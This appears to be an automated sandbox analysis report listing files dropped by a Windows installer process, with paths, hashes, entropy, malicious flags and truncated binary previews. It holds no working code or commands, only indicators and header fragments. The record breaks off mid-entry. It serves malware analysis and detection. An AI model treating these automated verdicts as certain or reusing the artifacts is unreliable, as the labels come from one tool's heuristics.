Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSICFF7.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID036.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	194064
Entropy (8bit):	6.416801574526807
Encrypted:	false
SSDEEP:	3072:pj+sQSJ38YR4h04SZto/ycbzhfIZk7yukfxYJyAfqgT7Z14hZliQiPD4:J+FQ38t/SZfkVfISkC7R7Z1uri0
MD5:	B0DDA68E058A4CAA8B88AA2A47961D2A
SHA1:	76AF9DE0D7512B9581A787648C2F8997EC1347DD
SHA-256:	05640FEC802CC4F0F0865671473E54187CA3FC495B17D62E6D89B0019DDA9291
SHA-512:	DA9F0EE169DEB615B1B771963F4FE0039E20E45D45A8AE6FAEEF22C9B8E5833F8F1EB67A4D3C4B0DD7DBB134DA6230142ADA3579D81A4020D4E4FB05EE9A5731
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........z...)...)...),.(...),.(o..)..(.)..(.),.(.)..(..),.(...),.(.)...)...)..(.)..(...)..g)...)...)...)..(...)Rich...)........PE..L...].gb.........."!......................... ......................................i.....@.........................@..........x.......x............................y..p...................@z.......$..@............ ......L...@....................text............................... ..`.rdata....... ......................@..@.data...............................@....rsrc...x...........................@..@.reloc........... ..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID0B4.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	292368
Entropy (8bit):	6.580138988083988
Encrypted:	false
SSDEEP:	6144:M4cV2yAOd5NQJwDpShZ7N1SAO1CbPJwXCPf:M42H5NQoWsnC1wXCPf
MD5:	F22242557CF91EA887BC21645D5B686F
SHA1:	668BAD3EAC0EB2485C4A64A0D2AB05999E1A89F3
SHA-256:	68D31D992CB7727DB2741C07A1347467B05501C701B8A618CD1FD5CA9BED4A8C
SHA-512:	E7587446ADA692F29BC8EEE1753539CC850DB314F57960AFBA770500F49002244A7C2D0BCBDABAC9EDA3BC0BBC47F1B2AC809997A728145E3CF041BB5DF376E4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s.. .. .. 9..!.. 9..!M.. ...!... ...!... ...!... 9..!.. 9..!.. 9..!... .. ;.. j..!.. j..!.. j.$ .. .L .. j..!.. Rich.. ........PE..L.....gb.........."!.........h.......A....................................................@.........................`.......p........P..x............X.......`...)..X...p...............................@............................................text.../........................... ..`.rdata..>...........................@..@.data........0......................@....rsrc...x....P.......(..............@..@.reloc...)...`...*..................@..B........................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID28A.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIE2F.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	808464
Entropy (8bit):	6.399509710294407
Encrypted:	false
SSDEEP:	12288:LPO8KYTJAJ5NqLaphV6mzFf3zLha2xqe4k+pqm8esHxYs265R3PPn70+8xM9:LG/pPhPzLM28e4UtHh5R3PPn70+8xM9
MD5:	DD1F93EB81E6C99BA9BE55B0C12E8BB4
SHA1:	1D767983AAA4EB5C9E19409CF529969142033850
SHA-256:	F55B853958F07B15F0DAE7A871C1EBE2EC117EF54BA3811D31CEC4C8AE471D9B
SHA-512:	7968839CA3E7337B2E7774D92C4A3666E9B7D8D76000475B39C2BDA6DB3320FC9B2100322505997798AF5631A007787FBD8D0D6FE0B51949C545C67E696AAF1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......bu.2&..a&..a&..a.f.`+..a.f.`...aDl.`7..aDl.`>..aDl.`u..a.f.`>..a.f.`'..a.f.`;..a&..a...a.m.`h..a.m.`'..a.m(a'..a&.@a$..a.m.`'..aRich&..a........................PE..L.....gb.........."!.........R......................................................4/....@......................... ................................8..........p...H...p...............................@............................................text...x........................... ..`.rdata..0...........................@..@.data...@...........................@....rsrc................B..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{13499434-9821-4E2D-B7DF-7C0867EB1504}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.2522518869676085
Encrypted:	false
SSDEEP:	12:JSbX72Fj5FAGzYLIlH7RpuBht7777777777777777777777777sDHFqeY7w0ZobO:J10Iv8uMB7waEdoSFk
MD5:	A55FDFE58B7D5317B038B3D4B7E8959E
SHA1:	64D9DF5E050EE53DD4F20432A7B42F65FD163488
SHA-256:	9654F4326A9B9C6E5E280F766AA18F63DD0462F29E8D253B8F86A5E646CDC5D5
SHA-512:	B371E32B5AD4CEEAEE86EACA7491CF55B27186877D1281ECAF7A4A4F17D7F019EAA478EAFA91921EDE607618211AA22736950AADF5DF864A04DC5DCAD4365F47
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{798E61D4-8923-4E77-A74B-2DF264394A48}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.2523802277746197
Encrypted:	false
SSDEEP:	12:JSbX72FjBFAGzYLIlH7RpuBht7777777777777777777777777sDHFnmTJlblhbv:JN0Iv8uQllVoOJ21Fk
MD5:	2A4397F1B23CA4E9562D456093657737
SHA1:	DEF97E1CB3DBA4FEA7ECD1274C6D788B09886672
SHA-256:	48E28A989F152E1DB118B8C11EE60C37ADB7D0FA914F6D24710A9E0D730393CF
SHA-512:	D86F013BD731B6EA06E1ED3FDF50B4AB1106DC2FF9682AA4CCD5BD61599970EAD954798590AF9CEE01CD1678A37FB95AC47BBABDBFB02A18D3A8C62643574736
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.2181009124044428
Encrypted:	false
SSDEEP:	12:JSbX72FjBvsXAlfLIlHuRpHhG7777777777777777777777777ZDHFcmiyDOLBxp:J6UIwGymiVLBxfck9F
MD5:	FC3D5D68B10D7E04437E078C135F0E51
SHA1:	F2667C7E6A5A774555DE485E76ABF20CDDDDEDE8
SHA-256:	1CDA636EFDB0790406830C2D880E2708450C951C13724289AD30BF9375845F90
SHA-512:	6D611039B4624F2D1F131658BB77FBCBD66AE8FD4BAEBEC3FFBC3FA4E8B46117D53D82A97572198CC84AC0A96F291AD813E4B02F85390439C6DDBB9432B9AC76
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	2.0039686451819394
Encrypted:	false
SSDEEP:	96:ihR1vFT4acUdffjfnuf9fqRCgyCf2Mfoco2WGQfrfrufx:e1NEaDPxyZFGQfXw
MD5:	AB8AF97C9582DD4BC61F1D463EE393A0
SHA1:	8EA174187A26F06DEDA541D81383503B90022C80
SHA-256:	CF844D4D1EE2A87F4F83CB96803186F28817267A43E4F127F0EF47276155418B
SHA-512:	D405031BA98B8D13C6DC8F0D30F26E39D58461384844EB8B8F20DE369FFA137871B932B844592FEFD5D3F81537CC5B8815EA4ADB5409DF9750069DF2BF4826C6
Malicious:	false
Reputation:	unknown
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\{13499434-9821-4E2D-B7DF-7C0867EB1504}\SystemFoldermsiexec.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 8 icons, 32x32, 16 colors, 4 bits/pixel, 24x24, 16 colors, 4 bits/pixel
Category:	dropped
Size (bytes):	14534
Entropy (8bit):	5.08612958031438
Encrypted:	false
SSDEEP:	192:gWiXwlNwH5AxLV1th7743rsl0rMeaJ/1Nc6keo0/waIkllDh2syOqniTJ8Q:gWd7wqRGYlEMe6/3NkmIkR2syOqi1X
MD5:	C2649AD15118FD46780D6FCBC38447D0
SHA1:	F32EFACB590F5028A9F5DA7236CC74086A3C87EC
SHA-256:	F0F4D5BF1DE9D2463031520AFF51FEB1E7D432ECEA447534A91CBBD79832AC89
SHA-512:	322EA628ED541713457248341B2CD0A95B6DD3661C9E1E4A22285368872A1B2A89808E272E2A6195B34FD47BD02C33AA893D0C324FBE35E4D65C5E5F401A81AE
Malicious:	false
Reputation:	unknown
Preview:	...... ..........................n... ..........V...........................h....... .... ............... ......*........ .h...^4..(... ...@.....................................................................................................................................................................................................................................ww.w............fg.fh...........fg.fg..........x.x.............f....v..........fx...fo.........fo...f..........w....f...........................w..w............wx.w.....................................................................................................................................................................................................................................?...?...?...?...?...?...?...?...?...?...?...?...............................................................?....(.......0........... .....................................................................................................

C:\Windows\Installer\{13499434-9821-4E2D-B7DF-7C0867EB1504}\logo.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	43973
Entropy (8bit):	7.311238919310844
Encrypted:	false
SSDEEP:	768:tkh0lOcdVMA1bVrbAd2o0Om4zwfBw9P2aEuZeQmb6WEEvCMn8O+RMkqbRYR+mny:t+KVph7ywJwB5ZeQmbwMn8zRMkpy
MD5:	627EB577DA1600430450F554116ED32C
SHA1:	D7A198BA82721CB335D20BF27FA5F6762DDEE92B
SHA-256:	2BC3A9CE18A7FCB66BB6FAB198CFAF68DD1A9321BDE70010814073983CEB1FDC
SHA-512:	5210023AA54AC46DA86A0F41BA23FC4D95911385D42199459189A96CF88ADB0D2B1CAC6124E4B9D8C801AE553C884CFE60C96C4B8D637980EDF1F572F9A8C8E0
Malicious:	false
Reputation:	unknown
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ./g...D..(....... ..... .....................................................................k..y.....................................}..T..4..u...o...o...o...q...{..............K...2..t...n...m...p...r...u...v ..v ..x#..l...O..........O..f...r...o...o...o...n...s...v...u...u...v ..n...Y..........]..n...},..P.._............Q..o...v ..w!..n...W..........]..d...t......................[..m...w!..w!..n...W..........]..f...j......................Q..o...v ..w!..n...W..........]..e...o......................S..o...v ..w!..n...W..........]..e...k......................[..m...w!..w!..n...W..........\..o...x#...2..B..^........G..p...v ..w!..n...W..........N..d...s...q...q...p...m...m...s...u...u...w!..o...Z.............g..9..z'..r...m...o...s...t...v ..w"..x#..g...M..............................i..9..z'..p...k...p...F.............................................

C:\Windows\Installer\{798E61D4-8923-4E77-A74B-2DF264394A48}\SystemFoldermsiexec.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 8 icons, 32x32, 16 colors, 4 bits/pixel, 24x24, 16 colors, 4 bits/pixel
Category:	dropped
Size (bytes):	14534
Entropy (8bit):	5.08612958031438
Encrypted:	false
SSDEEP:	192:gWiXwlNwH5AxLV1th7743rsl0rMeaJ/1Nc6keo0/waIkllDh2syOqniTJ8Q:gWd7wqRGYlEMe6/3NkmIkR2syOqi1X
MD5:	C2649AD15118FD46780D6FCBC38447D0
SHA1:	F32EFACB590F5028A9F5DA7236CC74086A3C87EC
SHA-256:	F0F4D5BF1DE9D2463031520AFF51FEB1E7D432ECEA447534A91CBBD79832AC89
SHA-512:	322EA628ED541713457248341B2CD0A95B6DD3661C9E1E4A22285368872A1B2A89808E272E2A6195B34FD47BD02C33AA893D0C324FBE35E4D65C5E5F401A81AE
Malicious:	false
Reputation:	unknown
Preview:	...... ..........................n... ..........V...........................h....... .... ............... ......*........ .h...^4..(... ...@.....................................................................................................................................................................................................................................ww.w............fg.fh...........fg.fg..........x.x.............f....v..........fx...fo.........fo...f..........w....f...........................w..w............wx.w.....................................................................................................................................................................................................................................?...?...?...?...?...?...?...?...?...?...?...?...............................................................?....(.......0........... .....................................................................................................

C:\Windows\Installer\{798E61D4-8923-4E77-A74B-2DF264394A48}\logo.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	43973
Entropy (8bit):	7.311238919310844
Encrypted:	false
SSDEEP:	768:tkh0lOcdVMA1bVrbAd2o0Om4zwfBw9P2aEuZeQmb6WEEvCMn8O+RMkqbRYR+mny:t+KVph7ywJwB5ZeQmbwMn8zRMkpy
MD5:	627EB577DA1600430450F554116ED32C
SHA1:	D7A198BA82721CB335D20BF27FA5F6762DDEE92B
SHA-256:	2BC3A9CE18A7FCB66BB6FAB198CFAF68DD1A9321BDE70010814073983CEB1FDC
SHA-512:	5210023AA54AC46DA86A0F41BA23FC4D95911385D42199459189A96CF88ADB0D2B1CAC6124E4B9D8C801AE553C884CFE60C96C4B8D637980EDF1F572F9A8C8E0
Malicious:	false
Reputation:	unknown
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ./g...D..(....... ..... .....................................................................k..y.....................................}..T..4..u...o...o...o...q...{..............K...2..t...n...m...p...r...u...v ..v ..x#..l...O..........O..f...r...o...o...o...n...s...v...u...u...v ..n...Y..........]..n...},..P.._............Q..o...v ..w!..n...W..........]..d...t......................[..m...w!..w!..n...W..........]..f...j......................Q..o...v ..w!..n...W..........]..e...o......................S..o...v ..w!..n...W..........]..e...k......................[..m...w!..w!..n...W..........\..o...x#...2..B..^........G..p...v ..w!..n...W..........N..d...s...q...q...p...m...m...s...u...u...w!..o...Z.............g..9..z'..r...m...o...s...t...v ..w"..x#..g...M..............................i..9..z'..p...k...p...F.............................................

C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 8 icons, 32x32, 16 colors, 4 bits/pixel, 24x24, 16 colors, 4 bits/pixel
Category:	dropped
Size (bytes):	14534
Entropy (8bit):	5.08612958031438
Encrypted:	false
SSDEEP:	192:gWiXwlNwH5AxLV1th7743rsl0rMeaJ/1Nc6keo0/waIkllDh2syOqniTJ8Q:gWd7wqRGYlEMe6/3NkmIkR2syOqi1X
MD5:	C2649AD15118FD46780D6FCBC38447D0
SHA1:	F32EFACB590F5028A9F5DA7236CC74086A3C87EC
SHA-256:	F0F4D5BF1DE9D2463031520AFF51FEB1E7D432ECEA447534A91CBBD79832AC89
SHA-512:	322EA628ED541713457248341B2CD0A95B6DD3661C9E1E4A22285368872A1B2A89808E272E2A6195B34FD47BD02C33AA893D0C324FBE35E4D65C5E5F401A81AE
Malicious:	false
Reputation:	unknown
Preview:	...... ..........................n... ..........V...........................h....... .... ............... ......*........ .h...^4..(... ...@.....................................................................................................................................................................................................................................ww.w............fg.fh...........fg.fg..........x.x.............f....v..........fx...fo.........fo...f..........w....f...........................w..w............wx.w.....................................................................................................................................................................................................................................?...?...?...?...?...?...?...?...?...?...?...?...............................................................?....(.......0........... .....................................................................................................

C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	43973
Entropy (8bit):	7.311238919310844
Encrypted:	false
SSDEEP:	768:tkh0lOcdVMA1bVrbAd2o0Om4zwfBw9P2aEuZeQmb6WEEvCMn8O+RMkqbRYR+mny:t+KVph7ywJwB5ZeQmbwMn8zRMkpy
MD5:	627EB577DA1600430450F554116ED32C
SHA1:	D7A198BA82721CB335D20BF27FA5F6762DDEE92B
SHA-256:	2BC3A9CE18A7FCB66BB6FAB198CFAF68DD1A9321BDE70010814073983CEB1FDC
SHA-512:	5210023AA54AC46DA86A0F41BA23FC4D95911385D42199459189A96CF88ADB0D2B1CAC6124E4B9D8C801AE553C884CFE60C96C4B8D637980EDF1F572F9A8C8E0
Malicious:	false
Reputation:	unknown
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ./g...D..(....... ..... .....................................................................k..y.....................................}..T..4..u...o...o...o...q...{..............K...2..t...n...m...p...r...u...v ..v ..x#..l...O..........O..f...r...o...o...o...n...s...v...u...u...v ..n...Y..........]..n...},..P.._............Q..o...v ..w!..n...W..........]..d...t......................[..m...w!..w!..n...W..........]..f...j......................Q..o...v ..w!..n...W..........]..e...o......................S..o...v ..w!..n...W..........]..e...k......................[..m...w!..w!..n...W..........\..o...x#...2..B..^........G..p...v ..w!..n...W..........N..d...s...q...q...p...m...m...s...u...u...w!..o...Z.............g..9..z'..r...m...o...s...t...v ..w"..x#..g...M..............................i..9..z'..p...k...p...F.............................................

C:\Windows\Logs\DPX\setupact.log

Download File

Process:	C:\Windows\SysWOW64\expand.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	345054
Entropy (8bit):	4.386457360509756
Encrypted:	false
SSDEEP:	192:0K9KmK9KIK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7KYK7KIK7y:5
MD5:	1C1DAFDB64254F18B86600DD5E53F244
SHA1:	A92A1D01E42949BCFBAE3ADFAE1AB9CEA4197303
SHA-256:	B7FCE48CD901303FB58367551FAA554301388FA934DFED3932FE2ABA93FB5FB5
SHA-512:	D44842276E7B83C9CB0391144C78AD5BE937F73E262EC82A52567C8F405515C295946D89E32F2D547193EE475B0408D6A106EF7833BADB31A864954E07AF4492
Malicious:	false
Reputation:	unknown
Preview:	.2023-10-03 11:48:47, Info DPX Started DPX phase: Resume and Download Job..2023-10-03 11:48:47, Info DPX Started DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX Ended DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX Started DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX Ended DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:47, Info DPX CJob::Resume completed with status: 0x0..2023-10-03 11:48:47, Info DPX Ended DPX phase: Resume and Download Job..2023-10-03 11:48:49, Info DPX Started DPX phase: Resume and Download Job..2023-10-03 11:48:49, Info DPX Started DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:49, Info DPX Ended DPX phase: Apply Deltas Provided In File..2023-10-03 11:48:49, Info

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	364484
Entropy (8bit):	5.365500023851405
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgaus:zTtbmkExhMJCIpEn
MD5:	FF2925D4F357676D581541088771A6AA
SHA1:	D0A999E801F4F47827745D6DA02F20EE45C40E45
SHA-256:	26941610E4A655CFCEC21A0301E434E40ECDA2EB6D717222BAC58FC366557583
SHA-512:	5FF762B4F079C2644793D447308DB5EE7468382086710EB8BD1208EDBA232E4AD498CE523BF486AD6D08F40203675FB100C566D0B46F76810C40DAB8F7F15724
Malicious:	false
Reputation:	unknown
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.3\tracking.ini

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:1EX:10
MD5:	EC3584F3DB838942EC3669DB02DC908E
SHA1:	8DCEB96874D5C6425EBB81BFEE587244C89416DA
SHA-256:	77C7C10B4C860D5DDF4E057E713383E61E9F21BCF0EC4CFBBC16193F2E28F340
SHA-512:	35253883BB627A49918E7415A6BA6B765C86B516504D03A1F4FD05F80902F352A7A40E2A67A6D1B99A14B9B79DAB82F3AC7A67C512CCF6701256C13D0096855E
Malicious:	false
Reputation:	unknown
Preview:	[General]..

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\AdvinstAnalytics\57adf5f3482b9a503e2bed2b\5.0.3\{A27D411C-7F55-4869-A6CE-333CF228670F}.session

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	638
Entropy (8bit):	5.31483952249434
Encrypted:	false
SSDEEP:	12:9CiDlanFAjZQBGSbJkWjTOnDMtSPKWVFAjKGeGSbJkWjTOnDMtS3:jcFAiXGWj2zqeXGWj2/
MD5:	D553FDC69C331095AE73A1ED1288E9EB
SHA1:	9E12E46DE7AF406D31506968940F21823ADAF3BE
SHA-256:	B67986979E0EAFA4DDE1AE22F7C35254EEEE3DAAFCDCB58C82A68FFCE3EBAF4D
SHA-512:	8D4EE460D52669F178DD02B0E4695D9F849BC1CBFED3E65656F9D16E7F7E36BAAF2B64FE0288BB7D8DCBA45E8A66631ED5F78B025836FD5E7B82805A313CA476
Malicious:	false
Reputation:	unknown
Preview:	[Hit {D33043B2-ADDB-4B0D-8E03-908F81A4FBCA}]..Queue Time = 15..Hit Type = lifecycle..Life control = start..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {A27D411C-7F55-4869-A6CE-333CF228670F}....[Hit {B6F5E7E6-97D6-497A-B99E-D622FFCC56CC}]..Queue Time = 0..Hit Type = lifecycle..Life control = end..Life status = success..Protocol Version = 3..Application ID = 57adf5f3482b9a503e2bed2b..Application Version = 5.0.3..Client ID = 57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D..Session ID = {A27D411C-7F55-4869-A6CE-333CF228670F}..

C:\Windows\Temp\INA4B57.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	783784
Entropy (8bit):	6.388227283064485
Encrypted:	false
SSDEEP:	12288:JB0aQYpzr8qjh/Kf+UA0i6mjqBUBavHqNajAJLVxAKNYFglvqrr3m/Xz/b/cEV:v0ax050IUBeqkeVJYFCqrLm/Xz/b/cEV
MD5:	07DF9CA625C2CB953B2A7F7F699CEE7C
SHA1:	3225E84B51BA76EB650231C94231B70B70B997C9
SHA-256:	265D462E9BD3FC4BDF925590A852707A52E0707407FDC4BA40A468542E8DBB77
SHA-512:	104A32900AC3F7A3815CE4670AA430677EB48BD3B8A5E17F0A05C333B8FAF776756408784C8191EA51FFD54AD52D7FCBF2611570A275EFDC6BF1B04B5706F9FD
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........p..[.y.[.y.[.y.Ozz.V.y.Oz\|...y.7e}.J.y.7ez.L.y.7e\|...y.Oz}.C.y.Oz..Z.y.Ozx.F.y.[.x.h.y.ep...y.ey.Z.y.e..Z.y.[...Y.y.e{.Z.y.Rich[.y.........................PE..L...].\`.........."!.........F............................................... ............@..........................M.......N....... .......................@..$...h5..p....................6.......5..@............................................text...h........................... ..`.rdata..............................@..@.data........`.......H..............@....rsrc........ ......................@..@.reloc..$....@......................@..B........................................................................................................................................................................................................................................................................

C:\Windows\Temp\MSI4C62.tmp

Download File

Process:	C:\ProgramData\AW Manager\Windows Manager\updates\v113\v113.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	385960
Entropy (8bit):	6.405386710561945
Encrypted:	false
SSDEEP:	6144:vrDow+ZsrLg3bmfKlGzIqSqYf+SAOfVKE/M5TiyX:3owv43bqKlRHJVa9iyX
MD5:	D07DDD437009EBB9C21882579BF2DF0D
SHA1:	A24A636DB25ED29E5353FA5D274BF80C2AB8AD98
SHA-256:	C4F49B995E259A043AF81D987C6781B8736F5709348BB997EDAD183CCC396CAF
